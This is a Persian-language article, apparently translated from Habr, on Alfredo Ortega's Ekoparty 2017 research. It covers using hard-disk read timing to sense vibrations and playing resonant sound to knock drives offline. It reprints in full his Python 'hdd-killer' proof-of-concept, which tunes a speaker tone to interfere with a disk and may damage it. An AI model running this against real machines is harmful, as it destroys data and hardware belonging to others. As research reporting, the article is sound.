
در کنفرانس امنیت کامپیوتر Ekoparty 2017 در بوئنوس آیرس، هکر آرژانتینی آلفردو اورتگا پیشرفت بسیار جالبی را نشان داد - سیستمی برای استراق سمع مخفی از اماکن بدون استفاده از میکروفون. صدا !
هارد دیسک عمدتا صداهای با فرکانس پایین با شدت بالا، ردپاها و سایر ارتعاشات را دریافت می کند. گفتار انسان هنوز قابل تشخیص نیست، اگرچه دانشمندان (تشخیص گفتار با ارتعاشات فرکانس پایین، که مثلاً از ژیروسکوپ یا HDD ضبط می شود).
صدا ارتعاش هوا یا رسانه دیگری است. فرد آنها را از طریق پرده گوش درک می کند که ارتعاشات را به گوش داخلی منتقل می کند. میکروفون تقریباً شبیه یک گوش طراحی شده است - در اینجا نیز ارتعاشات توسط یک غشای نازک ثبت می شود که یک ضربه الکتریکی را تحریک می کند. هارد دیسک البته به دلیل نوسانات هوای اطراف در معرض ارتعاشات میکروسکوپی نیز قرار دارد. این حتی از مشخصات فنی هارد دیسک ها نیز مشخص است: تولید کنندگان معمولاً حداکثر سطح ارتعاش مجاز را نشان می دهند و خود هارد دیسک اغلب سعی می کند آن را در یک ظرف ضد لرزش ساخته شده از لاستیک یا سایر مواد عایق قرار دهد. از این به راحتی می توان نتیجه گرفت که صداها را می توان با استفاده از HDD ضبط کرد. تنها چیزی که باقی می ماند این است که بفهمیم چگونه.
آلفردو اورتگا یک نسخه منحصر به فرد از یک حمله کانال جانبی، یعنی حمله زمانی را پیشنهاد کرد. این حمله بر این فرض استوار است که بسته به داده های ورودی داده شده، عملیات های مختلفی در زمان های مختلف بر روی دستگاه انجام می شود. در این مورد، "داده های ورودی" ارتعاشات سر خواندن و صفحه HDD است که با ارتعاشات محیط، یعنی با صدا ارتباط دارد. بنابراین، با اندازهگیری زمان محاسبات و انجام تجزیه و تحلیل آماری دادهها، ارتعاشات هد/صفحه و در نتیجه ارتعاشات محیط قابل اندازهگیری است. هر چه تاخیر در خواندن اطلاعات بیشتر باشد، لرزش هارد دیسک قوی تر و در نتیجه صدا بلندتر می شود.
چگونه لرزش هارد دیسک را اندازه گیری کنیم؟ بسیار ساده: فقط تماس سیستم را اجرا کنید read () - و زمان لازم برای تکمیل را ثبت کنید. سیستم عامل های مدرن به شما این امکان را می دهند که زمان تماس های سیستمی را با دقت نانوثانیه بخوانید.
سرعت خواندن اطلاعات از یک بخش به موقعیت هد و پلاتر بستگی دارد که با ارتعاشات کیس HDD مرتبط است. همین.
تجزیه و تحلیل آماری با استفاده از ابزار ساده Kscope انجام می شود. همانطور که می گویند، همه چیز مبتکرانه ساده است.

ابزار Kscope (stat()syscall)
Kscope یک ابزار کوچک برای تجسم تفاوت های کوچک در زمان اجرای تماس سیستم است. منبع.
در یک مخزن جداگانه نسخه ای از ابزار برای حمله زمانی به هارد دیسک پیکربندی شده است، یعنی برای تجزیه و تحلیل تماس سیستم پیکربندی شده است. read ().
نمایش ضبط صدا با استفاده از HDD، عملکرد ابزار Kscope

البته نمی توان گفتار را به این شکل درک کرد، اما HDD به عنوان یک سنسور لرزش کاملا مناسب است. به عنوان مثال، اگر فردی که کفش های سخت یا پابرهنه پوشیده است با رایانه وارد اتاقی شد، می توانید ثبت نام کنید (احتمالاً اگر مهاجم کفش های کتانی نرم پوشیده باشد یا فرش ضخیم روی زمین باشد، HDD قادر به ثبت ارتعاشات نخواهد بود - این ارزش بررسی را دارد). کامپیوتر قادر است شیشه شکسته یا حوادث دیگر را با شدت صدای قوی ثبت کند. یعنی هارد دیسک می تواند به عنوان نوعی سیستم تشخیص نفوذ غیرمجاز عمل کند.
کشنده HDD
اتفاقاً، میتوان از تکنیک مشابهی برای غیرفعال کردن هارد دیسکها استفاده کرد. با این حال، در اینجا ما ارتعاشات را از هارد دیسک ضبط نمیکنیم، بلکه ارتعاشاتی تولید میکنیم که به هارد دیسک ارسال میشوند. اگر صدایی را از بلندگو با فرکانسی که با فرکانس هارد دیسک طنینانداز است پخش کنید، سیستم به زودی دستگاه را با یک خطای ورودی/خروجی (هسته) خاموش میکند. Linux (این کار هارد دیسک را پس از ۱۲۰ ثانیه کاملاً خاموش میکند.) خود هارد دیسک ممکن است به طور برگشتناپذیری آسیب دیده باشد.

هسته Linux هارد دیسک پس از ۱۲۰ ثانیه پخش صدا با فرکانس رزونانس از طریق بلندگوی USB Edifier r19u خاموش شد. بلندگو با حدود یک چهارم قدرت خود (کمتر از ۱۰۰ میلی وات) روشن شده بود و در فاصله ۲۰ سانتیمتری از هارد دیسک و به سمت میز قرار گرفته بود تا ارتعاشات را تقویت کند. هنوز از با نمایشی از قاتل HDD
عجیب است که چنین "حمله هایی" به هارد دیسک ها گاهی اوقات کاملاً تصادفی در زندگی روزمره اتفاق می افتد. به عنوان مثال، در سپتامبر 2016، مرکز داده بانک ING پس از یک مانور آتش نشانی مجبور شد عملیات خود را به مدت 10 ساعت متوقف کند. به دلیل صدای بلند گاز بی اثر که تحت فشار زیاد از سیلندرها خارج می شود. صدا بسیار بلند بود (بیش از 130 دسی بل)، اما شما حتی نمی توانید روی هارد دیسک فریاد بزنید - این تاخیر در دسترسی به هارد دیسک را افزایش می دهد.
نمایش فریاد انسان روی هارد دیسک در مرکز داده. اندازه گیری تاخیر

برای تولید صدای طنین انداز، آلفردو اورتگا یک اسکریپت پایتون به نام نوشت ().
بسیار کوچک است، بنابراین می توانید آن را به طور کامل در اینجا منتشر کنید.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()منبع: www.habr.com
